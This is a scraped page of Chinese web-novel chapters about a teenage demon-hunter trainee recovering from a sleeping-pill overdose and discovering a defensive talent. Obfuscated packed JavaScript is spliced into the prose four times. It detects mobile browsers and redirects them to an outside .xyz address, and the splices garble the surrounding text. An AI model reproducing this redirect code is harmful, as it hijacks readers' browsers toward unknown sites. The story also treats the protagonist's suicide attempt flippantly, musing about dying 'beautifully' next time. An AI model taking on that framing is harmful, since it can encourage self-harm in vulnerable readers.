d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529770|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“我碰不到你呀，西塞莉。” ……？ 什么意思？ 为什么碰不到她？ 难道她其实自.杀成功了，现在是幽灵状态所以没有身体吗……？ 西塞莉一瞬间想了很多，感觉整个人都混乱掉了。 她迟缓的眨了眨眼，发觉到眼睛因久睁而带来的酸涩微痛的感觉。 还能感受到疼痛，没死。 心情很复杂，不知道是庆幸多一点还是遗憾多一点。 话说对于每个选项，西塞莉发现自己都同时感到庆幸与遗憾：如果死掉的话，自.杀大成功，她就可以知道世界未解之谜之‘人类死后会去往哪里’这个问题答案，就这么擦身而归实在可惜。 庆幸在她还活着。 她想，自己那天晚上还是不太理智，什么准备都没做就脑子一抽打算吞药自.杀。她甚至还记得自己当时的心情，是平静中带着一丝期待的，大概就是一种：‘吞安眠药的话大概睡着睡着就死了，又不会痛，试一下也没问题吧？’的带着玩闹性质的心态。 但反过来她如果活着，也同样因为以上原因而感到庆幸又遗憾。 ……话说她就直接爬上床盖上被子就吞了吗？也太不优雅了吧，至少先洗个澡做个造型换身新衣服什么的呀。 真是糊涂了，这样不华丽的死亡根本不是她想要的！！！ 幸好活了。 她想，她下一次一点会死得华丽漂亮。 活着也还可以，也总比半死不活当幽灵强—— 不对！当幽灵似乎也很有意思啊！她还不知道当幽灵是什么感觉呢！好好奇！！！ 如果当幽灵的话，她似乎就可以去更多地方了，没有实体的她可以穿墙而过，大多数人——包括猎魔人在内，都是看不见幽灵的，在依靠灵魂修炼的死灵法师出现前人们甚至对幽灵这一物种是否存在持怀疑态度。 也就是说，如果躲开死灵法师，作为幽灵的她岂不是可以为所欲为？而且也算不上人类，是不是可以做一些人类不被允许做的事情呢……？ 比如到私人场所偷听私人秘密什么的，反正也没有身体，方便得很！ “西塞莉。” 像是知道她在走神，银发男人又哑着声音叫了一遍她的名字，他的声音似乎有些颤抖，听着莫名委屈：“我碰不到你。” 31.西塞莉想要变得更强 再次回过神的时候已经被按着手抽血了。 周围是穿着白袍的神庭的神职人员，负责给她检查身体的人们白袍外套着白大褂，冷白的医用白大褂和暖白的神职者制服搭在一起很违和，显得有些不伦不类。 戴着医用橡胶手套的手摁住她的手，冰凉的触感让她下意识打了个寒颤，但又被对方近似本能般用力按住。 这过分强势的动作让西塞莉不适的皱了皱眉，她忍不住狠狠瞪了对面那个裹得严严实实的家伙。 冰凉的针尖刺入皮肉，血液缓缓被抽进管内，那种属于自己的东西被缓缓抽出的感觉她很不喜欢。 于是她眼不见心不烦的转移视线，漫不经心的扫视了下这间房间。 这是间在这个世界很罕见的，高科技设备很多的一间屋子。 因为她的父母是为了世界和平奉献的影响，而她是即将成为新英雄的准猎魔人，所以她现在在这家医院最好的一间魔法诊室，为她检查的是医院最好的魔法医生。 西塞莉盯了金属墙面半晌，觉得用‘实验室’来形容这个房间比较贴切。 她现在正坐在隶属神庭的医院——啊，就是和玛利亚福利院只隔了一个王城第一初级学院的拉斐尔医院，也是离西塞莉家最近的一所医院。 说起拉斐尔，西塞莉就想到之前玩过的乙女游戏《安吉拉之契》，里面的攻略对象之一就叫拉斐尔，据说是上纪元某宗教信仰中的神明使者。 神明存不存在都是个问题，神明使者听上去就更像个虚假的童话了。 话说医院为什么有地下研究室？这是正常的吗？是所有医院都有，还是拉斐尔这种大医院才有？还是只有拉斐尔医院才有？ 啊，差点忘了，这根本不是什么地下研究室，而是拉斐尔医院最好、设备最先进的魔法诊室。 话说这么装修成这样，虽然看着挺酷的，但一点也不适合当诊室啊，看这泛着金属特有的冷硬光泽的金属墙壁，看这连坐垫都没有的椅子…… 这种装修太‘理智’了，会给病人造成心理负担的吧？猎魔人的心理问题不是心理问题吗？？ 难道所有魔法诊室都是这样的吗？？ ……算了，反正她又没怎么去过医院，更没进过魔法诊室，怎么可能知道这些。 西塞莉在这里的原因当然是检查身体，毕竟虽然出了些小状况，但也是吞了一整罐修普诺斯的。 顺便也检测一下天赋觉醒情况。 对，西塞莉觉醒天赋术法了。 天知道她这几年已经对觉醒天赋没抱多大希望了，毕竟也不是每个魔法师都能觉醒天赋，只有三分之二的概率呢！不算太低也不算太高，她又不是什么时候都有好运气。 而且丹尼尔和尼克也没有觉醒天赋，克里斯虽然很早就表现出觉醒的迹象，但直到现在都没有彻底搞清楚自己的天赋，有朋友陪着的话，西塞莉就觉得无法觉醒天赋也没什么大不了的。 最重要的是，她已经发觉，自己即使没有天赋也依旧能吊打一众同期，所以天赋于她而言已经没有那么重要了。 当然，有的话当然更好啦！ ……只要不是那种副作用很大的就可以。 西塞莉想起了自己曾经不知道从谁口中得知的某个天赋，据说可以瞬间瞬间治愈伤害，就算是恶魔造成的也同样可以恢复如初，却是以消耗自身生命为代价的。 据说该天赋者很抗拒使用自己的天赋，说总觉得不能随便用，但为了造福人类还是接受了公会和法师塔的天赋测试，确认效果范围后立刻被投入了使用，然而这个天赋者在前线不到一个月就因为能力副作用死了，这时大家才知道他的天赋的副作用是消耗自身寿命。 这件事过去后的很长一段时间里，大多数天赋者都减少了使用天赋术法的频率，生怕自己的天赋也会有这样严重的副作用。 直到法师塔官方在猎魔人日报人刊登了研究成果，确认了天赋者自身会隐约察觉到副作用的存在并下意识抗拒使用天赋，这时只要在使用天赋之后到设有天赋检测室的公立医院进行身体和魔力检测，就可以基本推导出该天赋使用对使用者的副作用了。 三天后，西塞莉的检测报告出来了。 西塞莉坐在医院大厅的等候区百无聊赖的晃着腿，她实在不想再进医院深处了，也不想进那间地下研究室一样的魔法诊室。 浓重的消毒水味和金属墙面的冷光都让她感到反感。 这当然不可能，她被扎克利提溜着又进了那间魔法诊室。 “你必须了解自己的天赋。”银发男人语重心长。 西塞莉对上他那时深绿色眸子，突然就说不出话来了，等回过神的时候已经被他带进了那间地下研究室一样的诊室。 医生并没有单刀直入，而是叽叽呱呱讲着废话，扎克利回头，看见女孩百无聊赖的垂着头，有一搭没一搭的听着，居然没有偷溜出去，不禁感到有些新奇。 西塞莉一抬头就和他对上了视线，然后就想被刺到一样移开了头。 扎克利：“？” 修普诺斯事件过去后，西塞莉愈发庆幸自己当初能活下来了。 要是她死了，扎克利他们怎么办呀。 扎克利虽然已经是个成年人了，但其实很让人放心不下，他的脆弱被包裹在坚硬而光鲜亮丽的铠甲和头衔内，只偶尔会在信任的人面前不自觉流泻出那么一星半点，而西塞莉恰好是那为数不多可以让他信任的人。 她自诩不是什么迟钝的人，对感知旁人情绪的方面虽然不能说是擅长，但也不至于连在意之人的脆弱都感知不到。 但扎克利是个很要强的人，他大概是不会想让别人发现自己的脆弱的，西塞莉不知道自己会不会是他的例外，但她并不想让扎克利因为自己变得更难过，也不想让扎克利和她之间产生隔阂，于是装作看不见，有时做些事情转移他的注意，有时找借口出去留下空间让他自己调整。 在艾维斯他们还在的时候他就存在这种情况，那艾维斯和卡蜜拉死掉的时候，他怎么想都不会好受吧。 扎克利是个重情重义的人，这从他记了认识不过三年的同伴十多年就能看出来。而这十多年里，于是艾维斯他们陪他走过的，关系亲近到西塞莉几乎快要忘掉他们其实没有任何亲缘关系，因为他们看上去就像一家人一样。 所以，知道艾维斯和卡蜜拉死掉的时候，扎克利一定也很难过吧？ 西塞莉骤然想起那天夜里他在檐灯下闪着悲戚的双眼。 他那时大概难过到将要落泪了吧，只是被她抢了先，所以意识到自己作为一个成年人，如果哭泣的话只会让她更绝望吧。 大人也不是那么好做呢，西塞莉想。 ……不过她可是不会因为扎克利的眼泪而感到绝望的人呢！ 她只会想要变得更加强大，想要成为他的保护者，成为他可以依靠的人，让他可以不再压抑情绪——不，她会让他不再感到悲伤。 毕竟，她早就已经把他当做自己的家人了呀。 还有丹尼尔！！！ 其他人她都可以放心得下，毕竟尼克、苏菲亚、玛蒂尔达他们都有各自家人，扎克利虽然心理脆弱但好歹是个有责任有信仰的A+级猎魔人，克里斯虽然年纪不大也没有家人，但实力很强，也很有主见，又不是能委屈自己的性格，不服就干。 这么一路看下来，似乎丹尼尔是最叫人放心不下了的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545623|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——他没有家人，生活在孤儿院里，因为小时候魔力暴动伤了人也一直不大受人待见。 毕竟猎魔人虽然是很受敬仰爱戴的职业，但每年合格的人数不过200人左右，开始任务后有几乎隔几天就死那么一两个，活下来的不是足够幸运就是足够强大——至少强大到可以保护自己。 能活得久的猎魔人至少是个B级，这样才可能在各种临时突发任务（指突然出现在人类聚集区的恶魔，出现在一定范围内时猎魔人徽章会自动发光发热，此时该猎魔人有义务处理此次突发事件。艾维斯和卡蜜拉就是在临时突发任务中牺牲的）中提高活下来的概率。 产出数量过少加上伤亡多，猎魔人一直是一种人数稀少的职业，有时甚至会出现人才少缺的情况，所以一些赏金猎人、雇佣兵团、冒险者小队也和猎魔人公会保持着良好的合作关系，甚至连任务榜上的任务也是混在一起的，这几种职业分界线也显得有些模糊。 猎魔人虽然是其中最知名、最受人民欢迎的，但因为人员稀少任务繁多，所以普通人几乎没有机会可以见不到。 再加上现在的年轻人不怎么爱看新闻，随说《猎魔人日报》的销量很不错，但它又不是猎魔人公会官方的报纸，只是借了名头的娱乐报纸。 虽说偶然也会有些正经东西，但总体还是娱乐大众的玩意，文章一个个写得跟小说似的，虽说很有趣，但看上去却不大像是现实中会发生的事。 就比如斯科特的灭族，猎魔人日报上写的看去像是什么升级流复仇小说的开头，全族被灭只剩一人什么的，克里斯看上去就像是那种会杀掉魔王复仇的少年漫主角。 不过据西塞莉观察，克里斯确实有这种念头，毕竟他本来就是个有仇必报的性格，但那念头虽然强烈，但却缺少了些即使燃烧生命也必做不可的决绝。 毕竟即使是被传颂了上千年的勇者帕西斯，花费了自己生命也只能将魔王封印而无法杀死他，而这千年来人们也几乎默认勇者是当世最强，而魔王大概是无法被杀死的。 再加上斯科特的灭族是有“正当理由”，克里斯还能振作起来、并且凑出这些仇恨来，已经是很让人惊讶的事了。 凭着这份仇恨，他未来就算杀不了魔王，也一定能杀很多恶魔，估计还会有当上S级的可能性。 ……嘶，这么一看，还真有点复仇流小说男主那味儿了。 总之，猎魔人看上去是与普通人的人生毫不相干的东西，听着更像是某总冒险小说或者少年漫画里的职业英雄，总缺乏一些真实感，一些小孩甚至真的会将‘猎魔人’当成小说设定，即使是一些大人，也无法想象猎魔人的能力。 所以那时只有三岁的丹尼尔魔力暴动意外伤人在福利院众人眼里真的就是“恶魔之子降世”，还觉得这家伙是被从战场接回来的，身上肯定沾染了亡灵的气息。 当时丹尼尔含着两汪泪委屈的这么说的时候，西塞莉觉得特别不可思议。 ——他们是怎么看着他那天使一样圣洁美丽的金发蓝眼说出这种话来的！？ 当时，看着丹尼尔那双因为泪水显得更加美丽的蓝眼睛，西塞莉在心里暗下定决心，一定会保护好他！！ ……但这些只是空话，她现在可能连自己都保护不了。 连艾维斯那样的S级都会死掉，她说不定遇到强一些的恶魔就会很轻易的死掉了……说不定甚至都不是恶魔，要是碰到很厉害的通缉犯——就比如那个每人价值加兰帝国一座两线城市的“鸟巢”组织，说不定人家心情不太好就顺手把她给砍了。 而弱小的她根本没有反抗一座加兰帝国二线城市的实力……！！ 归根结底，终究是她还不够强！！！ 32.一片晚秋枫叶的回忆 “自动防御？” 那医生说了一堆废话后终于开始讲正事了。 当然，只有扎克利一个人在认真听，西塞莉依旧沉浸在想要变强的热血决心中，然后捕捉到关键词的她几乎是瞬间就用发问打断了他的话。 毕竟自动防御听上去就很厉害的样子，她的脑子里一瞬间已经闪过了它的几十种运（zhuang）用（bi）场合，比如徒手挡子弹之类的（虽然这个用魔法也能做到）。她曾经看过的少年漫和游戏里也出现过类似的天赋设定，被主角用得相当帅气。 医生反光的镜片后，刻薄的眼打量了她片刻，直到她快要忍不住再问他一遍的时候，对方才慢悠悠的点了点头：“是的。” 西塞莉倏然睁大了眼睛：难道她真的是少年漫里的挂逼主角吗？！自动防御什么的，听着也太无敌了吧！！！ 但还没等她欢呼出声，医生就不慌不忙的开了口：“但目前只在你失去意识的时候起作用。” “……？” “也就是你因为各种情况陷入深度昏迷，无法对周围的一切做出反应的时候。” 扎克利立刻追问：“就像上次一样？” 医生显然知道他说的上次指的是什么——西塞莉吞了一瓶修普诺斯的那次，距离现在才过去不到三天。 “对。”医生嗓音平淡，见扎克利眉头紧蹙，善解人意的解释道：“不必担心。西塞莉小姐处于‘防御’状态的时候身体的自愈能力会大幅提升，这也是她吞了一整瓶修普诺斯还能醒过来的原因。” “西塞莉小姐自愈和生命补充倚靠的是魔力，而恰好她的魔力总量远超同龄人——大约是一名B级猎魔人的量，而且魔力补充的速度也很快，所以才能一连睡十三天还能活蹦乱跳。” “而且，西塞莉小姐的天赋所需的魔力量极少，似乎是用了魔力因失去主人使用时自然流失的一小点？总之远远少于其他防御类天赋。在失去意识的时候，天赋会自动覆盖住你认为最重要、且和你有身体接触的东西，就比如睡觉时的床褥。” 语毕，那医生看向她，看上去有些像在邀功。 “……听上去是个可以叫人安心睡觉的天赋。”她干巴巴道。 只在失去意识的时候起作用是什么鸡肋技能啊！！她作为猎魔人的警惕心难道会让她在不安全的地方陷入深度睡眠吗？？ 还有那个保护功能，都有身体接触了，她怎么可以还会让它被别人偷走或损坏啊！！这这功能的出现难道是为了她在赖床的时候不被让掀被子吗？！ 笑话，等她从学院毕业成为正式的职业猎魔人就不会赖床了！她那时已经是个成熟的……呃，猎魔人了！ 她其实想说成熟的大人，但算了一下，她从猎魔人学院毕业的时候大概还没有满十五岁。 “……并且有很大的进化空间。” “比如？” “比如清醒的时候也能用之类的。” “那要怎么让它进化呀？” “一般来说是通过魔力和实力的提升而提升的。” “所以我只要继续按照以前的步调提升实力就好了吗？” “是的。不过希望您可以经常来医院做几次检查，您的天赋和其他天赋都不太一样，是我见过、不，是在所有记录中，所需魔力最少的天赋，我很希望研究出这其中的原理。” “……你要拿我做实验？？” “……不是的，我只是想知道您天赋的特性，这说不定是一种新的天赋分类，而且您的天赋进化的很快，我们的实验表明您其实已经可以在清醒时使用它了，只是还没有掌握方法，我们也想让您尽快掌握了解它，更快的成长。” “好吧。”西塞莉艰难的点了点头。 虽然这个医生讲了一大堆，但这个天赋术法听上去还是很鸡肋的样子，感觉只有睡觉和重伤的时候用得上，但感觉这两种状态下她都不太需要它…… 毕竟没人会在危险的地方陷入深度睡眠，重伤的话……说实话，西塞莉不太能想象自己一个人陷入危机的时候，毕竟她身边一直有很多人。 在她毕业后会和朋友组成猎魔人小队，直到升上B级前都不会独自行动，同一支猎魔人小队的队友和引导者基本上会一直呆在一起，亲密无间的像是一家人。 如果有这样的同伴的话，她觉得自己应该是不会轻易陷入那种境地的，就算真的重伤了，她的同伴们也一定会将她带回去的！！ 而等小队解散的时候，她也升上B级了，拥有了独立执行任务的能力，感觉就算没有队友也不会轻易的重伤死掉……只要不要对上超S级恶魔的话。 不然就算是艾维斯和卡蜜拉这种高等级猎魔人也束手无策。 话说他俩在接受绞杀那只超S级的临时突发任务之前似乎还打了两只A级……？ 说不定魔力都费得差不多了，而卡蜜拉又不是持续输出型的猎魔人，可能一不留神就被恶魔啃了头。 而且还当着艾维斯的面。 说不定他是自杀也没定，毕竟以艾维斯的自愈速度和治愈魔法熟练度，还真没可能死得这么快。 只要卡蜜拉还活着，艾维斯就算只剩下半口气也能在一个月后活蹦乱跳着去买最新一期的少年漫月刊。 但卡蜜拉死掉了。 断胳膊断腿、甚至就算伤到了除心脏以外的脏器，只要没有立刻死亡，以他的治愈魔法熟练度都能救回来，但偏偏是被咬下了脑袋，这就是必死无疑了。 西塞莉想：说不定他在看到卡蜜拉死掉的那一刻就想要跟她一起死掉了，但他还是做了最后一件好事，杀掉了那只恶魔，保护了更多人……不。 了解自己老爸的西塞莉否决了这个想法：这家伙恐怕只是想给卡蜜拉报仇。 可恶！这家伙在打了两个A级后又干掉了一只超S级，最后居然还游刃有余的玩殉情！S级猎魔人真的有这么强吗？？ 总有一天，她一定会超过他的！！ ……希望这个天赋这的可以像医生说的那样，进化得很快吧。 这样，它才会稍微有些用处。 西塞莉已经没有回学校。 她将几乎将自己囤积的游戏漫画全脱出来翻了便，按照感兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577843|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣程度挨个体验。 周末的时候，丹尼尔和尼克过来了。 西塞莉心情很好的接待了他们，三人就这么窝在房间玩了一整天游戏。 中途扎克利来喊过他们吃饭被西塞莉“马上马上”的忽悠走了，然后过了几分钟后被反应过来的银发男人提着领子带了下去。 “等神诞日假期的时候会再来找你的。”临走前，尼克这么说道。 西塞莉闻言不禁恍惚了片刻：原来神诞日又要到了啊。 目送着二人离去的背影，她侧头看向一旁的天空，那湛蓝而美丽的天幕像是早已过去的夏，但气温却已经彻底冷了下来，枫叶正红。 面对已经到来的冬天，她的情绪却没什么太大波动，也没有抱怨冬衣过于厚重，大概是早已习惯了吧，她已经不觉得它沉重了。 她突然想起艾维斯曾经说的话。 她记不太清那句话是在哪一年被他说出口的，只记得那是一个夕阳红色的晚秋，花园里的枫树全红了，风吹过时偶尔会慢悠悠落下那么一两片叶子，但白蔷薇还开着，被夕阳渡上一层浅浅的金红，和鲜艳的枫叶相互映照着。 她那时想要出门，大声朝屋里的人报备了声“我出门了”，就打算推门出去。 然后就被艾维斯拽着后衣领提回了屋里。 “别这样拉我！！！”她气恼的挣扎着，一边胡乱蹬着腿，一边抬眼瞪他。 然后艾维斯这家伙就伸展胳膊又把她提远了些，在她愤怒的喊出他的名字前才将她放下。 “你干什么啊！！”她不舒服的转了转被勒到的肩膀，抬手整理自己被扯得乱七八糟的衣领。 “抱歉啊。”男人毫无歉意的说，“只是想提醒你加件外套，都快入冬了还穿得那么单薄，会生病的。” 他一边说着一边将一旁衣架上的毛呢外套撑开对着她背后，说：“穿上再出门。” 她看了看外套，又看了看男人坚决的动作，不情不愿的伸手穿过袖筒，艾维斯配合的调整外套方向，然后提了提领口将它严严实实的搭在了她身上。 感受到和夏季短衫截然不同的重量，女孩不适应的皱了皱眉，嘟囔道：“我讨厌冬天。” “冬天怎么你了？去年雪仗不是打得停欢的吗？”艾维斯揉了揉她的脑袋，但还没等多揉两下就被对方矮身躲过。 他也不气恼，笑着收回手：“而且，如果冬天来了，春天还会远吗？” 她讶异的看了他一眼：“你居然说出来了很有哲理的话。” “我之前难道没有说过哲学的话吗？——不过这句倒真不是我说的，是我在一本书里看到的，好像是上纪元的诗集，叫‘雪莱’来着。” “我对诗不感兴趣。” 西塞莉只喜欢看情节有趣的书，尤其是冒险类的。 “西塞莉拒绝了爸爸的安利呢，好伤心——” “……不要用这么恶心的语气说话！” “唔，撒娇的西塞莉真的超——级可爱呢！” “你哪只耳朵听见我在撒娇？！不用的话就捐给其他人啊！混蛋老爸！” 33.完结卷 神诞日假期，丹尼尔他们果然如约来了，身后还跟着玛蒂尔达和苏菲亚。 尽管她俩已经很努力的装作若无其事，但敏锐如西塞莉还是一眼就看出来二人潜藏着的担忧和不自在，只不过很开就被尼克用三言两语巧妙的化解了。 见此，西塞莉不由得敬佩的看向一旁淡定的给自己倒了杯水的少年。 西塞莉：不愧是尼克！ 虽然尼克伪装的很好，但敏锐如她还是能察觉他不动声色流露出的聪慧机敏。 果然不愧是主角大人！ 尼克：“？” 虽然不知道这家伙在想什么，但还是随便她去吧，他才不跟笨蛋计较。 他低头抿了口水，然后放下杯子，看向她：“打算什么时候回学校？” 其余几人顿时不可思议的看向尼克，丹尼尔神色间甚至流露出了些愤怒。 西塞莉觉得尼克的动作有些像过年时亲戚询问考试成绩，她之前新年去苏菲亚家玩的时候，苏菲亚的外祖母也是这样的一套动作询问她的。 不过差别还是挺大的，苏菲亚的外祖母那时目光温和中带着危险的打量着苏菲亚，等待她说出答案，西塞莉能够看到她明显的僵硬与心虚，显然是这句话给成绩处于中游的苏菲亚造成了极大的心理压力。 但尼克就不会给她造成这样的压力，毕竟就是是聪明的主角，也不过是一个同龄男孩嘛！连扎克利这种大人都不能让她感到压力呢！ “唔，假期结束就回去啦。” 她语气轻快地回道。 “好。”尼克点了点头：“你不在的时候考试克里斯一直是第一呢。” 西塞莉脸上的笑容一僵，悲愤道：“可恶——早该想到的……！” “回去以后，我会夺回属于我的一切！” “啊，那你加油咯。” 说起克里斯…… 西塞莉的几个朋友之中，就只有他没有来看望过了。 她有些不满的想：说不定克里斯根本没把她当朋友，毕竟他从来没承认过他们是朋友。 但气没生几分钟，她就突然想起另一件事：克里斯的生日好像就在这几天了。 克里斯的生日，是西塞莉在去年寒假的时候得知的。 她那时刚熟练掌握无杖魔法，迫不及待的跑过去展示给他看，末了问了句：“你是什么学会的无杖魔法？” 虽然克里斯在一年级的时候就学会了无杖魔法，自己要比他要晚上一年多，但果然，还是想知道自己比他差了多少呢。 即使成为了朋友，西塞莉还是不想输给他。 克里斯看了她一眼，黑眼珠轻微动了动：“从八岁掌握基础有杖魔法后开始，一直到……那一年初冬。” 西塞莉知道他说的是那一年，无非就是去年他们刚认识的那一年——猎魔人学院一年级在读的那一年，斯科特一族被灭族的那一年。 不用仔细算，她学会无杖魔法的时间肯定比他短。 ……虽然跟八岁小孩比很幼稚很不要脸，但西塞莉还是想跟准确的判断他们之间的差距， 于是又问道：“那你是从八岁的什么时候开始的，又是什么时候结束的？啊，还有你的生日是什么时候？” “……记不大清了。”他说，“不过是那年亡灵祭前几天学会的，生日——”他顿了顿，“生日是，11月27。” 西塞莉毫无所觉：“欸？11月27吗？这才刚过去不到两个月呢，你怎么不跟我说呀，害我错过了你的生日……话说你的蛋糕不会是草莓味的吧？可恶，怎么不给我送一块啊！我生日的时候都邀请你了的……” “……” 见克里斯半天没动静，她迟疑着停下了话头，歪头凑近，光明正大的观察起他的神色来。 克里斯沉默地抬起眼与她对视。 嗯，看不出来，依旧是面无表情的冷淡酷哥脸。 她又回忆了一遍自己的说辞，然后懊恼的拍了下脑袋：克里斯只有自己一个人呀！ 如果只有他一个人的话，按照克里斯的性格，是肯定不会给自己过生日的。 他的家人和族人在那个七月的晚上被全部绞杀，他冷淡孤傲的性格让他几乎交不上朋友，只有西塞莉勉强可以算一个。 但这个唯一的朋友却并不知道他的生日，自然也无法陪他一同度过那个他在多年前降生的那一天。 克里斯：“……你干嘛拍我脑袋？手不想要了可以砍下来。” 再次极其自然的忽视了他的询问，西塞莉自顾自用怜爱与愧疚的目光注视着他：“克里斯，我明年一定会陪你过生日的。” 克里斯：“莫名其妙……还有，不要用那么恶心的眼神看我。” “……” 成功回想起来自己曾经许下承诺西塞莉扭头看向书桌上的日历，发现今天居然已经是26号了！！ 西塞莉：！！！ 该死，怎么才想起来这回事！她就应该提前在日历上做好标记才对！！ 她懊恼的拍了拍自己的脑袋——这次拍的是自己的，因为西塞莉旁边既没有克里斯也没有丹尼尔和尼克。 抬头看了看天色，西塞莉往兜里揣了把金币就出了门，打算到附近的礼品店逛两圈，认真为克里斯挑选生日礼物，然后在明天送给他。 如果只有克里斯一个人的话，他说不定连自己的生日在哪天都记不起来。 可以假装生气来讨伐他没有来看望他，然后在他不知所措的时候从身后拿出礼物来，给他个惊喜。 如果她没有在半路心血来潮突然想看荻花，回去的时候专门绕了条路，然后路过书店发现《第一魔法纪实录》的完结卷正在发售的话，大概就是以上的情景了吧。 西塞莉看一卷漫画的世界并不长，她的阅读速度一向很快。 一开始的剧情还是和之前一样，是平凡但有趣的日常，直到，主角团齐聚的神诞日晚宴上，世界突然毁灭了，然后主角伊文在莫名其妙的死掉后又莫名其妙重生到了世界毁灭的三天前。 他不断寻找世界毁灭的原因，然后发现，在一个女主角卡洛琳意外死亡的世界线里，世界并没有毁灭。 西塞莉：“……？” 搞什么啊？这是什么狗血设定？弗玛尔海特老贼又搞什么幺蛾子？不过这可是主角，应该没什么问题，大概就是给日常增添些趣味，或者给主角找点事干，毕竟冒险少年漫一直走日常也不是个办法，大概解决这个问题就完结了。 毕竟这家伙虽然很喜欢发刀子，但结局却都是相对完满的。 想到这儿，她松了口气，然后接着看下去了—— 男主角伊文不愿意接受这样的结果，他依靠猜测对着自己的脑袋扣下了扳机，然后成功回到了三天前的原点，开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588302|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找解决的方案，甚至在某次轮回中告诉了主角团的其他成员，得到了大家的帮助，继续寻找着解决方法，然后在经历1000次轮回后，发现了真相。 原来卡洛琳身为世界树耗尽最后力量孕育出的最后一个精灵，继承了世界树仅剩的所有力量，而世界树的力量里掺杂着当初魔王留下的诅咒，在魔王被杀死的那一天，诅咒被开启了，这也是伊文杀死魔王后，卡洛琳莫名发了三天高烧的原因。 而神诞日，就是魔王选定的世界末日。 在第1001次轮回里，伊文崩溃的向卡洛琳讲出了这件事，然后很快在对方的安抚下平静下来。 二人在窗帘半拉的房间内安静的拥抱了会儿。 西塞莉盯着那画面看了看，看见窗帘与窗的边界并没有将二人分割开来，他们一同沐浴在和煦的日光下，顿时松了口气，觉得肯定是个好结局。 但让她困惑的事情发生了，沟通过的男女主并没有寻找拯救世界的方法，他们没有再提那件事，和往常那样过着日常，除了伊文因为轮回太多次所以忘记了很多事，然后被朋友们调侃健忘。 这种诡异的安宁与平常一直持续到灭世之日的那天晚上，卡洛琳像招呼一只小狗那样微笑着招手将伊文叫了出去，这是他俩的相处方式，经常被伊文的挚友杰克吐槽像主人和狗。 铺满雪的林间，二人并肩而行着，手中提着的灯笼被施过魔法，那光亮让二人看上去仿若置身白昼。 二人都默契的没有说话，只能听到“咔嚓咔嚓”的踩雪声。 「我喜欢这里。」卡洛琳突然停了下来。 这是一片洁白而空旷的雪地，像是一块柔软的毯子，卡洛琳径直躺了上去。 「就在这里吧。」她平静的说。 红发的勇者默了默，拔出了腰边的佩剑，剑柄上的宝石和锋利的剑刃反射出耀眼的光。 西塞莉抖着手将漫画翻到最后一页，眼泪顺着下巴滴落到手背和纸页上，模糊的视线里，她看清画面上的场景—— 银发的女性精灵仰面躺倒在洁白的雪地上，她银白的发和雪交融在一起，即使被身旁明亮的手提灯照着，也分不大清边界。 一柄长剑贯穿了她的胸口，鲜血渗透染红她的衣襟，她的脸上却没有任何痛苦或悲伤的负面情绪，反而是挂着奇迹般宁静安详的微笑，仿若神明，好似已经很满意这个结局了一般。 勇者低着头，略长的头发垂落遮住眉眼，只能看见他紧抿的唇线和冷硬的下颌，握着剑柄的手上青筋明显，用力到微微颤抖。 画面外的西塞莉也微微颤抖着手翻了翻书，发现这已经是最后一页了，而这卷就已经是完结卷了。 西塞莉：“……” 不！这样的结局！！我不接受！！！ “傻＊弗玛尔海特！居然烂尾了！！不可原谅！！！”她将书扔到地上，哭着骂道，犹嫌不解气，又起身狠狠地踩了几脚，最后手指一抬用魔法凝了个小火球把它烧了个干净。 她不承认这个结局！那这个就不可以是结局！！ 决定了，《第一魔法纪实录》的结局就是上一卷……不，那样的话也太突兀了些，明明上卷结尾的时候还在准备主角的生日，这样算下来，生日宴会的时候完结才算完美，但这个情节却出现在刚刚被她烧掉的那卷里…… 那就到二年前的告白卷作为结尾好了！！ 34.本能 深夜，克里斯听到了敲门声。 他想装作听不见，毕竟大半夜到被灭族的斯科特族地里敲门，无论是有正事还是恶作剧，都叫人不想理会。 更何况，如果是有正事的话，一定会开口喊话吧？甚至可能用魔法和武器暴力破坏。 但门外的人却只是沉默地敲着，声音并不算大，估计没怎么用力，节奏固定，一下接着一下，跟什么都市怪谈故事里的场景似的，一看就是恶作剧。正经人是不会这样敲门的。 他有些烦躁的想：神庭的人已经废物到这种程度了吗？连个半夜冒险的小孩都能被放进来。 